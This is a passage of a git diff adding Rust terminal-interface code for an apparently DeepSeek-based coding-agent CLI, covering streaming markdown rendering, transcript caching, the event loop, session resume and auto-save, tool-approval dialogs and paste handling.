collector.commit_complete_lines() + } else { + Vec::new() + } + } + + /// Finalize a block and get remaining lines + pub fn finalize_block(&mut self, index: usize) -> Vec> { + if let Some(Some(collector)) = self.collectors.get_mut(index) { + let lines = collector.finalize(); + // Check if all blocks are done + self.check_active(); + lines + } else { + Vec::new() + } + } + + /// Finalize all blocks + pub fn finalize_all(&mut self) -> Vec<(usize, Vec>)> { + let mut result = Vec::new(); + for (i, collector) in self.collectors.iter_mut().enumerate() { + if let Some(c) = collector { + let lines = c.finalize(); + if !lines.is_empty() { + result.push((i, lines)); + } + } + } + self.is_active = false; + result + } + + /// Check if any stream is still active + fn check_active(&mut self) { + self.is_active = self.collectors.iter().any(|c| { + c.as_ref() + .is_some_and(MarkdownStreamCollector::is_streaming) + }); + } + + /// Ensure capacity for the given index + fn ensure_capacity(&mut self, index: usize) { + while self.collectors.len() <= index { + self.collectors.push(None); + } + } + + /// Reset the streaming state + pub fn reset(&mut self) { + self.collectors.clear(); + self.is_active = false; + self.accumulated_text.clear(); + self.accumulated_thinking.clear(); + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_commit_complete_lines() { + let mut collector = MarkdownStreamCollector::new(Some(80), false); + + // Push incomplete line + collector.push("Hello "); + let lines = collector.commit_complete_lines(); + assert!(lines.is_empty()); // No complete lines yet + + // Complete the line + collector.push("World\n"); + let lines = collector.commit_complete_lines(); + assert_eq!(lines.len(), 2); // "Hello World" + empty line from trailing \n + + // Push more content + collector.push("Second line"); + let lines = collector.commit_complete_lines(); + assert!(lines.is_empty()); // No new complete lines + + // Finalize + let lines = collector.finalize(); + assert_eq!(lines.len(), 1); // "Second line" + } + + #[test] + fn test_wrap_line() { + let result = wrap_line("This is a long line that should be wrapped", 20); + assert!(result.len() > 1); + } +} diff --git a/src/tui/transcript.rs b/src/tui/transcript.rs new file mode 100644 index 00000000..b69e5358 --- /dev/null +++ b/src/tui/transcript.rs @@ -0,0 +1,89 @@ +//! Cached transcript rendering for the TUI. + +use ratatui::text::Line; + +use crate::tui::history::{HistoryCell, TranscriptRenderOptions}; +use crate::tui::scrolling::TranscriptLineMeta; + +/// Cache of rendered transcript lines for the current viewport. +#[derive(Debug)] +pub struct TranscriptViewCache { + width: u16, + version: u64, + options: TranscriptRenderOptions, + lines: Vec>, + line_meta: Vec, +} + +impl TranscriptViewCache { + /// Create an empty cache. + #[must_use] + pub fn new() -> Self { + Self { + width: 0, + version: 0, + options: TranscriptRenderOptions::default(), + lines: Vec::new(), + line_meta: Vec::new(), + } + } + + /// Ensure cached lines match the provided cells/width/version. + pub fn ensure( + &mut self, + cells: &[HistoryCell], + width: u16, + version: u64, + options: TranscriptRenderOptions, + ) { + if self.width == width && self.version == version && self.options == options { + return; + } + self.width = width; + self.version = version; + self.options = options; + + let mut lines = Vec::new(); + let mut meta = Vec::new(); + + for (cell_index, cell) in cells.iter().enumerate() { + let cell_lines = cell.lines_with_options(width, options); + if cell_lines.is_empty() { + continue; + } + for (line_in_cell, line) in cell_lines.into_iter().enumerate() { + lines.push(line); + meta.push(TranscriptLineMeta::CellLine { + cell_index, + line_in_cell, + }); + } + + if cell_index + 1 < cells.len() && !cell.is_stream_continuation() { + lines.push(Line::from("")); + meta.push(TranscriptLineMeta::Spacer); + } + } + + self.lines = lines; + self.line_meta = meta; + } + + /// Return cached lines. + #[must_use] + pub fn lines(&self) -> &[Line<'static>] { + &self.lines + } + + /// Return cached line metadata. + #[must_use] + pub fn line_meta(&self) -> &[TranscriptLineMeta] { + &self.line_meta + } + + /// Return total cached lines. + #[must_use] + pub fn total_lines(&self) -> usize { + self.lines.len() + } +} diff --git a/src/tui/ui.rs b/src/tui/ui.rs new file mode 100644 index 00000000..c4e9f818 --- /dev/null +++ b/src/tui/ui.rs @@ -0,0 +1,3320 @@ +//! TUI event loop and rendering logic for `DeepSeek` CLI. + +use std::fmt::Write; +use std::fs; +use std::io::{self, Stdout}; +use std::path::{Path, PathBuf}; +use std::time::Instant; + +use anyhow::Result; +use crossterm::{ + event::{ + self, DisableBracketedPaste, DisableMouseCapture, EnableBracketedPaste, EnableMouseCapture, + Event, KeyCode, KeyEvent, KeyEventKind, KeyModifiers, MouseButton, MouseEvent, + MouseEventKind, + }, + execute, + terminal::{EnterAlternateScreen, LeaveAlternateScreen, disable_raw_mode, enable_raw_mode}, +}; +use ratatui::{ + Frame, Terminal, + backend::CrosstermBackend, + layout::{Constraint, Direction, Layout, Rect}, + style::{Color, Modifier, Style, Stylize}, + text::{Line, Span}, + widgets::{Block, Borders, Paragraph, Wrap}, +}; +use unicode_width::{UnicodeWidthChar, UnicodeWidthStr}; + +use crate::commands; +use crate::compaction::CompactionConfig; +use crate::config::Config; +use crate::core::engine::{EngineConfig, EngineHandle, spawn_engine}; +use crate::core::events::Event as EngineEvent; +use crate::core::ops::Op; +use crate::hooks::HookEvent; +use crate::models::{ContentBlock, Message, SystemPrompt, context_window_for_model}; +use crate::palette; +use crate::prompts; +use crate::rlm; +use crate::session_manager::{SessionManager, create_saved_session, update_session}; +use crate::tools::spec::{ToolError, ToolResult}; +use crate::tools::subagent::{SubAgentResult, SubAgentStatus}; +use crate::tui::event_broker::EventBroker; +use crate::tui::paste_burst::CharDecision; +use crate::tui::scrolling::{ScrollDirection, TranscriptScroll}; +use crate::tui::selection::TranscriptSelectionPoint; +use crate::utils::estimate_message_chars; + +use super::app::{App, AppAction, AppMode, OnboardingState, QueuedMessage, TuiOptions}; +use super::approval::{ + ApprovalMode, ApprovalRequest, ApprovalView, ElevationRequest, ElevationView, ReviewDecision, +}; +use super::history::{ + ExecCell, ExecSource, ExploringCell, ExploringEntry, GenericToolCell, HistoryCell, McpToolCell, + PatchSummaryCell, PlanStep, PlanUpdateCell, ToolCell, ToolStatus, ViewImageCell, WebSearchCell, + extract_reasoning_summary, history_cells_from_message, summarize_mcp_output, + summarize_tool_args, summarize_tool_output, +}; +use super::views::{HelpView, ModalKind, ViewEvent}; +use super::widgets::{ChatWidget, ComposerWidget, HeaderData, HeaderWidget, Renderable}; + +// === Constants === + +const MAX_QUEUED_PREVIEW: usize = 3; +const AUTO_RLM_MIN_FILE_BYTES: u64 = 200_000; +const AUTO_RLM_HINT_FILE_BYTES: u64 = 50_000; +const AUTO_RLM_PASTE_MIN_CHARS: usize = 15_000; +const AUTO_RLM_PASTE_HINT_CHARS: usize = 5_000; +const AUTO_RLM_PASTE_QUERY_MAX_CHARS: usize = 800; +const AUTO_RLM_PASTE_FIRST_LINE_MAX_CHARS: usize = 200; +const RLM_BUDGET_WARN_QUERIES: u32 = 8; +const RLM_BUDGET_WARN_INPUT_TOKENS: u64 = 60_000; +const RLM_BUDGET_WARN_OUTPUT_TOKENS: u64 = 20_000; +const RLM_BUDGET_HARD_QUERIES: u32 = 16; +const RLM_BUDGET_HARD_INPUT_TOKENS: u64 = 120_000; +const RLM_BUDGET_HARD_OUTPUT_TOKENS: u64 = 40_000; +const AUTO_RLM_MAX_SCAN_ENTRIES: usize = 50_000; +const AUTO_RLM_EXCLUDED_DIRS: &[&str] = &[ + ".git", + "target", + "node_modules", + ".codex", + ".aleph", + "dist", + "build", +]; + +// ASCII logo for onboarding screen only +const LOGO: &str = r" +██████╗ ███████╗███████╗██████╗ ███████╗███████╗███████╗██╗ ██╗ +██╔══██╗██╔════╝██╔════╝██╔══██╗██╔════╝██╔════╝██╔════╝██║ ██╔╝ +██║ ██║█████╗ █████╗ ██████╔╝███████╗█████╗ █████╗ █████╔╝ +██║ ██║██╔══╝ ██╔══╝ ██╔═══╝ ╚════██║██╔══╝ ██╔══╝ ██╔═██╗ +██████╔╝███████╗███████╗██║ ███████║███████╗███████╗██║ ██╗ +╚═════╝ ╚══════╝╚══════╝╚═╝ ╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝ +"; + +/// Run the interactive TUI event loop. +/// +/// # Examples +/// +/// ```ignore +/// # use crate::config::Config; +/// # use crate::tui::TuiOptions; +/// # async fn example(config: &Config, options: TuiOptions) -> anyhow::Result<()> { +/// crate::tui::run_tui(config, options).await +/// # } +/// ``` +pub async fn run_tui(config: &Config, options: TuiOptions) -> Result<()> { + let use_alt_screen = options.use_alt_screen; + enable_raw_mode()?; + let mut stdout = io::stdout(); + if use_alt_screen { + execute!(stdout, EnterAlternateScreen)?; + } + execute!(stdout, EnableBracketedPaste, EnableMouseCapture)?; + let backend = CrosstermBackend::new(stdout); + let mut terminal = Terminal::new(backend)?; + let event_broker = EventBroker::new(); + + let mut app = App::new(options.clone(), config); + + // Load existing session if resuming + if let Some(ref session_id) = options.resume_session_id + && let Ok(manager) = SessionManager::default_location() + { + // Try to load by prefix or full ID + let load_result: std::io::Result> = + if session_id == "latest" { + // Special case: resume the most recent session + match manager.get_latest_session() { + Ok(Some(meta)) => manager.load_session(&meta.id).map(Some), + Ok(None) => Ok(None), + Err(e) => Err(e), + } + } else { + manager.load_session_by_prefix(session_id).map(Some) + }; + + match load_result { + Ok(Some(saved)) => { + app.api_messages.clone_from(&saved.messages); + app.model.clone_from(&saved.metadata.model); + app.workspace.clone_from(&saved.metadata.workspace); + app.current_session_id = Some(saved.metadata.id.clone()); + app.total_tokens = u32::try_from(saved.metadata.total_tokens).unwrap_or(u32::MAX); + app.total_conversation_tokens = app.total_tokens; + if let Some(prompt) = saved.system_prompt { + app.system_prompt = Some(SystemPrompt::Text(prompt)); + } + // Convert saved messages to HistoryCell format for display + app.history.clear(); + app.history.push(HistoryCell::System { + content: format!( + "Resumed session: {} ({})", + saved.metadata.title, + &saved.metadata.id[..8] + ), + }); + for msg in &saved.messages { + app.history.extend(history_cells_from_message(msg)); + } + app.mark_history_updated(); + app.status_message = Some(format!("Resumed session: {}", &saved.metadata.id[..8])); + } + Ok(None) => { + app.status_message = Some("No sessions found to resume".to_string()); + } + Err(e) => { + app.status_message = Some(format!("Failed to load session: {e}")); + } + } + } + + let mut compaction = CompactionConfig::default(); + compaction.enabled = app.auto_compact; + compaction.token_threshold = app.compact_threshold; + compaction.model = app.model.clone(); + + // Create the Engine with configuration from TuiOptions + let engine_config = EngineConfig { + model: app.model.clone(), + workspace: app.workspace.clone(), + allow_shell: app.allow_shell, + trust_mode: options.yolo, + notes_path: config.notes_path(), + mcp_config_path: config.mcp_config_path(), + max_steps: 100, + max_subagents: app.max_subagents, + features: config.features(), + rlm_session: app.rlm_session.clone(), + duo_session: app.duo_session.clone(), + compaction, + todos: app.todos.clone(), + plan_state: app.plan_state.clone(), + }; + + // Spawn the Engine - it will handle all API communication + let engine_handle = spawn_engine(engine_config, config); + + if !app.api_messages.is_empty() { + let _ = engine_handle + .send(Op::SyncSession { + messages: app.api_messages.clone(), + system_prompt: app.system_prompt.clone(), + model: app.model.clone(), + workspace: app.workspace.clone(), + }) + .await; + } + + // Fire session start hook + { + let context = app.base_hook_context(); + let _ = app.execute_hooks(HookEvent::SessionStart, &context); + } + + let result = run_event_loop( + &mut terminal, + &mut app, + config, + engine_handle, + &event_broker, + ) + .await; + + // Fire session end hook + { + let context = app.base_hook_context(); + let _ = app.execute_hooks(HookEvent::SessionEnd, &context); + } + + disable_raw_mode()?; + if use_alt_screen { + execute!(terminal.backend_mut(), LeaveAlternateScreen)?; + } + execute!( + terminal.backend_mut(), + DisableBracketedPaste, + DisableMouseCapture + )?; + terminal.show_cursor()?; + + result +} + +#[allow(clippy::too_many_lines)] +async fn run_event_loop( + terminal: &mut Terminal>, + app: &mut App, + _config: &Config, + engine_handle: EngineHandle, + event_broker: &EventBroker, +) -> Result<()> { + // Track streaming state + let mut current_streaming_text = String::new(); + + loop { + // First, poll for engine events (non-blocking) + let mut queued_to_send: Option = None; + { + let mut rx = engine_handle.rx_event.write().await; + while let Ok(event) = rx.try_recv() { + match event { + EngineEvent::MessageStarted { .. } => { + current_streaming_text.clear(); + app.streaming_message_index = None; + } + EngineEvent::MessageDelta { content, .. } => { + current_streaming_text.push_str(&content); + let index = if let Some(index) = app.streaming_message_index { + index + } else { + app.add_message(HistoryCell::Assistant { + content: String::new(), + streaming: true, + }); + let index = app.history.len().saturating_sub(1); + app.streaming_message_index = Some(index); + index + }; + + if let Some(HistoryCell::Assistant { content, .. }) = + app.history.get_mut(index) + { + content.clone_from(¤t_streaming_text); + app.mark_history_updated(); + } + } + EngineEvent::MessageComplete { .. } => { + if let Some(index) = app.streaming_message_index.take() + && let Some(HistoryCell::Assistant { streaming, .. }) = + app.history.get_mut(index) + { + *streaming = false; + app.mark_history_updated(); + } + + if !current_streaming_text.is_empty() + || app.last_reasoning.is_some() + || !app.pending_tool_uses.is_empty() + { + let mut blocks = Vec::new(); + if let Some(thinking) = app.last_reasoning.take() { + blocks.push(ContentBlock::Thinking { thinking }); + } + if !current_streaming_text.is_empty() { + blocks.push(ContentBlock::Text { + text: current_streaming_text.clone(), + cache_control: None, + }); + } + for (id, name, input) in app.pending_tool_uses.drain(..) { + blocks.push(ContentBlock::ToolUse { id, name, input }); + } + if !blocks.is_empty() { + app.api_messages.push(Message { + role: "assistant".to_string(), + content: blocks, + }); + } + } + } + EngineEvent::ThinkingStarted { .. } => { + app.reasoning_buffer.clear(); + app.reasoning_header = None; + } + EngineEvent::ThinkingDelta { content, .. } => { + app.reasoning_buffer.push_str(&content); + if app.reasoning_header.is_none() { + app.reasoning_header = extract_reasoning_header(&app.reasoning_buffer); + } + } + EngineEvent::ThinkingComplete { .. } => { + if let Some(summary) = extract_reasoning_summary(&app.reasoning_buffer) { + app.add_message(HistoryCell::ThinkingSummary { summary }); + } + if !app.reasoning_buffer.is_empty() { + app.last_reasoning = Some(app.reasoning_buffer.clone()); + } + app.reasoning_buffer.clear(); + } + EngineEvent::ToolCallStarted { id, name, input } => { + app.pending_tool_uses + .push((id.clone(), name.clone(), input.clone())); + handle_tool_call_started(app, &id, &name, &input); + } + EngineEvent::ToolCallComplete { id, name, result } => { + if name == "update_plan" { + app.plan_tool_used_in_turn = true; + } + let tool_content = match &result { + Ok(output) => output.content.clone(), + Err(err) => format!("Error: {err}"), + }; + app.api_messages.push(Message { + role: "user".to_string(), + content: vec![ContentBlock::ToolResult { + tool_use_id: id.clone(), + content: tool_content, + }], + }); + handle_tool_call_complete(app, &id, &name, &result); + } + EngineEvent::TurnStarted => { + app.is_loading = true; + current_streaming_text.clear(); + app.turn_started_at = Some(Instant::now()); + app.reasoning_buffer.clear(); + app.reasoning_header = None; + app.last_reasoning = None; + app.pending_tool_uses.clear(); + app.plan_tool_used_in_turn = false; + } + EngineEvent::TurnComplete { usage } => { + app.is_loading = false; + app.turn_started_at = None; + let turn_tokens = usage.input_tokens + usage.output_tokens; + app.total_tokens = app.total_tokens.saturating_add(turn_tokens); + app.total_conversation_tokens = + app.total_conversation_tokens.saturating_add(turn_tokens); + app.last_prompt_tokens = Some(usage.input_tokens); + app.last_completion_tokens = Some(usage.output_tokens); + + // Auto-save session after each turn + if let Ok(manager) = SessionManager::default_location() { + let session = if let Some(ref existing_id) = app.current_session_id { + // Update existing session + if let Ok(existing) = manager.load_session(existing_id) { + update_session( + existing, + &app.api_messages, + u64::from(app.total_tokens), + app.system_prompt.as_ref(), + ) + } else { + // Session was deleted, create new + create_saved_session( + &app.api_messages, + &app.model, + &app.workspace, + u64::from(app.total_tokens), + app.system_prompt.as_ref(), + ) + } + } else { + // Create new session + create_saved_session( + &app.api_messages, + &app.model, + &app.workspace, + u64::from(app.total_tokens), + app.system_prompt.as_ref(), + ) + }; + + if let Err(e) = manager.save_session(&session) { + eprintln!("Failed to save session: {e}"); + } else { + app.current_session_id = Some(session.metadata.id.clone()); + } + } + + if app.mode == AppMode::Plan + && app.plan_tool_used_in_turn + && !app.plan_prompt_pending + && app.queued_message_count() == 0 + && app.queued_draft.is_none() + { + app.plan_prompt_pending = true; + app.add_message(HistoryCell::System { + content: plan_next_step_prompt(), + }); + } + app.plan_tool_used_in_turn = false; + + if queued_to_send.is_none() { + queued_to_send = app.pop_queued_message(); + } + } + EngineEvent::Error { message, .. } => { + app.add_message(HistoryCell::System { + content: format!("Error: {message}"), + }); + app.is_loading = false; + } + EngineEvent::Status { message } => { + app.status_message = Some(message); + } + EngineEvent::PauseEvents => { + if !event_broker.is_paused() { + pause_terminal(terminal, app.use_alt_screen)?; + event_broker.pause_events(); + } + } + EngineEvent::ResumeEvents => { + if event_broker.is_paused() { + resume_terminal(terminal, app.use_alt_screen)?; + event_broker.resume_events(); + } + } + EngineEvent::AgentSpawned { id, prompt } => { + app.add_message(HistoryCell::System { + content: format!( + "Sub-agent {id} spawned: {}", + summarize_tool_output(&prompt) + ), + }); + if app.view_stack.top_kind() == Some(ModalKind::SubAgents) { + let _ = engine_handle.send(Op::ListSubAgents).await; + } + } + EngineEvent::AgentProgress { id, status } => { + app.status_message = Some(format!("Sub-agent {id}: {status}")); + } + EngineEvent::AgentComplete { id, result } => { + app.add_message(HistoryCell::System { + content: format!( + "Sub-agent {id} completed: {}", + summarize_tool_output(&result) + ), + }); + if app.view_stack.top_kind() == Some(ModalKind::SubAgents) { + let _ = engine_handle.send(Op::ListSubAgents).await; + } + } + EngineEvent::AgentList { agents } => { + app.subagent_cache = agents.clone(); + if app.view_stack.update_subagents(&agents) { + app.status_message = + Some(format!("Sub-agents: {} total", agents.len())); + } else { + app.add_message(HistoryCell::System { + content: format_subagent_list(&agents), + }); + } + } + EngineEvent::ApprovalRequired { + id, + tool_name, + description, + } => { + let session_approved = app.approval_session_approved.contains(&tool_name); + if session_approved || app.approval_mode == ApprovalMode::Auto { + let _ = engine_handle.approve_tool_call(id.clone()).await; + } else if app.approval_mode == ApprovalMode::Never { + let _ = engine_handle.deny_tool_call(id.clone()).await; + app.add_message(HistoryCell::System { + content: format!( + "Blocked tool '{tool_name}' (approval_mode=never)" + ), + }); + } else { + // Create approval request and show overlay + let request = + ApprovalRequest::new(&id, &tool_name, &serde_json::json!({})); + app.view_stack.push(ApprovalView::new(request)); + app.add_message(HistoryCell::System { + content: format!( + "Approval required for tool '{tool_name}': {description}" + ), + }); + } + } + EngineEvent::ToolCallProgress { id, output } => { + app.status_message = + Some(format!("Tool {id}: {}", summarize_tool_output(&output))); + } + EngineEvent::ElevationRequired { + tool_id, + tool_name, + command, + denial_reason, + blocked_network, + blocked_write, + } => { + // In YOLO mode, auto-elevate to full access + if app.approval_mode == ApprovalMode::Auto { + app.add_message(HistoryCell::System { + content: format!( + "Sandbox denied {tool_name}: {denial_reason} - auto-elevating to full access" + ), + }); + // Auto-elevate to full access (no sandbox) + let policy = crate::sandbox::SandboxPolicy::DangerFullAccess; + let _ = engine_handle.retry_tool_with_policy(tool_id, policy).await; + } else { + // Show elevation dialog + let request = ElevationRequest::for_shell( + &tool_id, + command.as_deref().unwrap_or(&tool_name), + &denial_reason, + blocked_network, + blocked_write, + ); + app.view_stack.push(ElevationView::new(request)); + app.add_message(HistoryCell::System { + content: format!("Sandbox blocked {tool_name}: {denial_reason}"), + }); + } + } + } + } + } + + if let Some(next) = queued_to_send { + dispatch_user_message(app, &engine_handle, next).await?; + } + + if !app.view_stack.is_empty() { + let events = app.view_stack.tick(); + handle_view_events(app, &engine_handle, events).await; + } + + if event_broker.is_paused() { + tokio::time::sleep(std::time::Duration::from_millis(50)).await; + continue; + } + + app.flush_paste_burst_if_due(Instant::now()); + + terminal.draw(|f| render(f, app))?; // app is &mut + + if event::poll(std::time::Duration::from_millis(50))? { + let evt = event::read()?; + + // Handle bracketed paste events + if let Event::Paste(text) = &evt { + if app.onboarding == OnboardingState::EnteringKey { + // Paste into API key input + app.insert_api_key_str(text); + } else { + // Paste into main input + if let Some(pending) = app.paste_burst.flush_before_modified_input() { + app.insert_str(&pending); + } + app.insert_paste_text(text); + } + continue; + } + + if let Event::Resize(width, height) = evt { + terminal.clear()?; + app.handle_resize(width, height); + continue; + } + + if let Event::Mouse(mouse) = evt { + handle_mouse_event(app, mouse); + continue; + } + + let Event::Key(key) = evt else { + continue; + }; + + if key.kind != KeyEventKind::Press { + continue; + } + + // Handle onboarding flow + if app.onboarding != OnboardingState::None { + match key.code { + KeyCode::Char('c') if key.modifiers.contains(KeyModifiers::CONTROL) => { + let _ = engine_handle.send(Op::Shutdown).await; + return Ok(()); + } + KeyCode::Esc => { + if app.onboarding == OnboardingState::EnteringKey { + app.onboarding = OnboardingState::Welcome; + app.api_key_input.clear(); + app.api_key_cursor = 0; + } + } + KeyCode::Enter => match app.onboarding { + OnboardingState::Welcome => { + app.onboarding = OnboardingState::EnteringKey; + } + OnboardingState::EnteringKey => match app.submit_api_key() { + Ok(path) => { + app.status_message = + Some(format!("API key saved to {}", path.display())); + } + Err(e) => { + app.status_message = Some(e.to_string()); + } + }, + OnboardingState::Success => { + app.finish_onboarding(); + } + OnboardingState::None => {} + }, + KeyCode::Backspace if app.onboarding == OnboardingState::EnteringKey => { + app.delete_api_key_char(); + } + KeyCode::Char(c) if app.onboarding == OnboardingState::EnteringKey => { + app.insert_api_key_char(c); + } + KeyCode::Char('v') | KeyCode::Char('V') + if is_paste_shortcut(&key) + && app.onboarding == OnboardingState::EnteringKey => + { + // Cmd+V / Ctrl+V paste (bracketed paste handled above) + app.paste_api_key_from_clipboard(); + } + _ => {} + } + continue; + } + + if key.code == KeyCode::F(1) { + if app.view_stack.top_kind() == Some(ModalKind::Help) { + app.view_stack.pop(); + } else { + app.view_stack.push(HelpView::new()); + } + continue; + } + + if !app.view_stack.is_empty() { + let events = app.view_stack.handle_key(key); + handle_view_events(app, &engine_handle, events).await; + continue; + } + + let now = Instant::now(); + app.flush_paste_burst_if_due(now); + + let has_ctrl_alt_or_super = key.modifiers.contains(KeyModifiers::CONTROL) + || key.modifiers.contains(KeyModifiers::ALT) + || key.modifiers.contains(KeyModifiers::SUPER); + let is_plain_char = matches!(key.code, KeyCode::Char(_)) && !has_ctrl_alt_or_super; + let is_enter = matches!(key.code, KeyCode::Enter); + + if !is_plain_char + && !is_enter + && let Some(pending) = app.paste_burst.flush_before_modified_input() + { + app.insert_str(&pending); + } + + if (is_plain_char || is_enter) && handle_paste_burst_key(app, &key, now) { + continue; + } + + // Global keybindings + match key.code { + KeyCode::Char('c') | KeyCode::Char('C') + if key.modifiers.contains(KeyModifiers::CONTROL) + && app.transcript_selection.is_active() => + { + copy_active_selection(app); + } + KeyCode::Char('c') | KeyCode::Char('C') if is_copy_shortcut(&key) => { + copy_active_selection(app); + } + KeyCode::Char('c') if key.modifiers.contains(KeyModifiers::CONTROL) => { + // Cancel current request or exit + if app.is_loading { + engine_handle.cancel(); + app.is_loading = false; + app.status_message = Some("Request cancelled".to_string()); + } else { + let _ = engine_handle.send(Op::Shutdown).await; + return Ok(()); + } + } + KeyCode::Esc => { + if app.is_loading { + engine_handle.cancel(); + app.is_loading = false; + app.status_message = Some("Request cancelled".to_string()); + } else if !app.input.is_empty() { + app.clear_input(); + } else { + app.set_mode(AppMode::Normal); + } + } + KeyCode::Up if key.modifiers.contains(KeyModifiers::ALT) => { + app.scroll_up(3); + } + KeyCode::Down if key.modifiers.contains(KeyModifiers::ALT) => { + app.scroll_down(3); + } + KeyCode::PageUp => { + let page = app.last_transcript_visible.max(1); + app.scroll_up(page); + } + KeyCode::PageDown => { + let page = app.last_transcript_visible.max(1); + app.scroll_down(page); + } + KeyCode::Tab => { + app.cycle_mode(); + if app.mode == AppMode::Rlm { + app.rlm_repl_active = false; + } + } + // Input handling + KeyCode::Enter => { + if let Some(input) = app.submit_input() { + if handle_plan_choice(app, &engine_handle, &input).await? { + continue; + } + if input.starts_with('/') { + // Use the commands module for slash commands + let result = commands::execute(&input, app); + + // Handle command result + if let Some(msg) = result.message { + app.add_message(HistoryCell::System { content: msg }); + } + + if let Some(action) = result.action { + match action { + AppAction::Quit => { + let _ = engine_handle.send(Op::Shutdown).await; + return Ok(()); + } + AppAction::SaveSession(path) => { + app.status_message = + Some(format!("Session saved to {}", path.display())); + } + AppAction::LoadSession(path) => { + app.status_message = + Some(format!("Session loaded from {}", path.display())); + } + AppAction::SyncSession { + messages, + system_prompt, + model, + workspace, + } => { + let _ = engine_handle + .send(Op::SyncSession { + messages, + system_prompt, + model, + workspace, + }) + .await; + } + AppAction::SendMessage(content) => { + let queued = build_queued_message(app, content); + dispatch_user_message(app, &engine_handle, queued).await?; + } + AppAction::ListSubAgents => { + let _ = engine_handle.send(Op::ListSubAgents).await; + } + AppAction::UpdateCompaction(compaction) => { + let _ = engine_handle + .send(Op::SetCompaction { config: compaction }) + .await; + } + } + } + } else { + if app.mode == AppMode::Rlm && app.rlm_repl_active { + if rlm_repl_should_route_to_chat(app, &input) { + app.rlm_repl_active = false; + app.add_message(HistoryCell::System { + content: "RLM REPL paused (no context loaded). Routing to chat so the model can call rlm_load. Use /repl to return.".to_string(), + }); + } else { + handle_rlm_input(app, input); + continue; + } + } + + if app.mode == AppMode::Rlm + && let Some(path) = input.trim().strip_prefix('@') + { + let command = format!("/load @{path}"); + let result = commands::execute(&command, app); + if let Some(msg) = result.message { + app.add_message(HistoryCell::System { content: msg }); + } + continue; + } + + let queued = if let Some(mut draft) = app.queued_draft.take() { + draft.display = input; + draft + } else { + build_queued_message(app, input) + }; + if app.is_loading { + app.queue_message(queued); + app.status_message = Some(format!( + "Queued {} message(s) - /queue to view/edit", + app.queued_message_count() + )); + } else { + dispatch_user_message(app, &engine_handle, queued).await?; + } + } + } + } + KeyCode::Backspace => { + app.delete_char(); + } + KeyCode::Delete => { + app.delete_char_forward(); + } + KeyCode::Left => { + app.move_cursor_left(); + } + KeyCode::Right => { + app.move_cursor_right(); + } + KeyCode::Home if key.modifiers.is_empty() => { + if let Some(anchor) = + TranscriptScroll::anchor_for(app.transcript_cache.line_meta(), 0) + { + app.transcript_scroll = anchor; + } + } + KeyCode::End if key.modifiers.is_empty() => { + app.scroll_to_bottom(); + } + KeyCode::Home | KeyCode::Char('a') + if key.modifiers.contains(KeyModifiers::CONTROL) => + { + app.move_cursor_start(); + } + KeyCode::End | KeyCode::Char('e') + if key.modifiers.contains(KeyModifiers::CONTROL) => + { + app.move_cursor_end(); + } + KeyCode::Up => { + if key.modifiers.contains(KeyModifiers::CONTROL) { + app.history_up(); + } else if should_scroll_with_arrows(app) { + app.scroll_up(1); + } else { + app.history_up(); + } + } + KeyCode::Down => { + if key.modifiers.contains(KeyModifiers::CONTROL) { + app.history_down(); + } else if should_scroll_with_arrows(app) { + app.scroll_down(1); + } else { + app.history_down(); + } + } + KeyCode::Char('u') if key.modifiers.contains(KeyModifiers::CONTROL) => { + app.clear_input(); + } + KeyCode::Char('v') if is_paste_shortcut(&key) => { + app.paste_from_clipboard(); + } + KeyCode::Char(c) => { + app.insert_char(c); + } + _ => {} + } + + if !is_plain_char && !is_enter { + app.paste_burst.clear_window_after_non_char(); + } + } + } +} + +fn handle_paste_burst_key(app: &mut App, key: &KeyEvent, now: Instant) -> bool { + let has_ctrl_alt_or_super = key.modifiers.contains(KeyModifiers::CONTROL) + || key.modifiers.contains(KeyModifiers::ALT) + || key.modifiers.contains(KeyModifiers::SUPER); + + match key.code { + KeyCode::Enter => { + if !in_command_context(app) && app.paste_burst.append_newline_if_active(now) { + return true; + } + if !in_command_context(app) + && app.paste_burst.newline_should_insert_instead_of_submit(now) + { + app.insert_char('\n'); + app.paste_burst.extend_window(now); + return true; + } + } + KeyCode::Char(c) if !has_ctrl_alt_or_super => { + if !c.is_ascii() { + if let Some(pending) = app.paste_burst.flush_before_modified_input() { + app.insert_str(&pending); + } + if app.paste_burst.try_append_char_if_active(c, now) { + return true; + } + if let Some(decision) = app.paste_burst.on_plain_char_no_hold(now) { + return handle_paste_burst_decision(app, decision, c, now); + } + app.insert_char(c); + return true; + } + + let decision = app.paste_burst.on_plain_char(c, now); + return handle_paste_burst_decision(app, decision, c, now); + } + _ => {} + } + + false +} + +fn handle_paste_burst_decision( + app: &mut App, + decision: CharDecision, + c: char, + now: Instant, +) -> bool { + match decision { + CharDecision::RetainFirstChar => true, + CharDecision::BeginBufferFromPending | CharDecision::BufferAppend => { + app.paste_burst.append_char_to_buffer(c, now); + true + } + CharDecision::BeginBuffer { retro_chars } => { + if apply_paste_burst_retro_capture(app, retro_chars as usize, c, now) { + return true; + } + app.insert_char(c); + true + } + } +} + +fn apply_paste_burst_retro_capture( + app: &mut App, + retro_chars: usize, + c: char, + now: Instant, +) -> bool { + let cursor_byte = app.cursor_byte_index(); + let before = &app.input[..cursor_byte]; + let Some(grab) = app + .paste_burst + .decide_begin_buffer(now, before, retro_chars) + else { + return false; + }; + if !grab.grabbed.is_empty() { + app.input.replace_range(grab.start_byte..cursor_byte, ""); + let removed = grab.grabbed.chars().count(); + app.cursor_position = app.cursor_position.saturating_sub(removed); + } + app.paste_burst.append_char_to_buffer(c, now); + true +} + +fn in_command_context(app: &App) -> bool { + app.input.starts_with('/') +} + +fn build_queued_message(app: &mut App, input: String) -> QueuedMessage { + let skill_instruction = app.active_skill.take(); + QueuedMessage::new(input, skill_instruction) +} + +async fn dispatch_user_message( + app: &mut App, + engine_handle: &EngineHandle, + message: QueuedMessage, +) -> Result<()> { + let override_query = maybe_auto_switch_to_rlm(app, &message.display); + let content = if let Some(query) = override_query.as_deref() { + message.content_with_query(query) + } else { + message.content() + }; + let rlm_summary = if app.mode == AppMode::Rlm { + app.rlm_session + .lock() + .ok() + .map(|session| rlm::session_summary(&session)) + } else { + None + }; + let duo_summary = if app.mode == AppMode::Duo { + app.duo_session + .lock() + .ok() + .map(|s| crate::duo::session_summary(&s)) + } else { + None + }; + app.system_prompt = Some(prompts::system_prompt_for_mode_with_context( + app.mode, + &app.workspace, + rlm_summary.as_deref(), + duo_summary.as_deref(), + )); + app.add_message(HistoryCell::User { + content: message.display.clone(), + }); + app.api_messages.push(Message { + role: 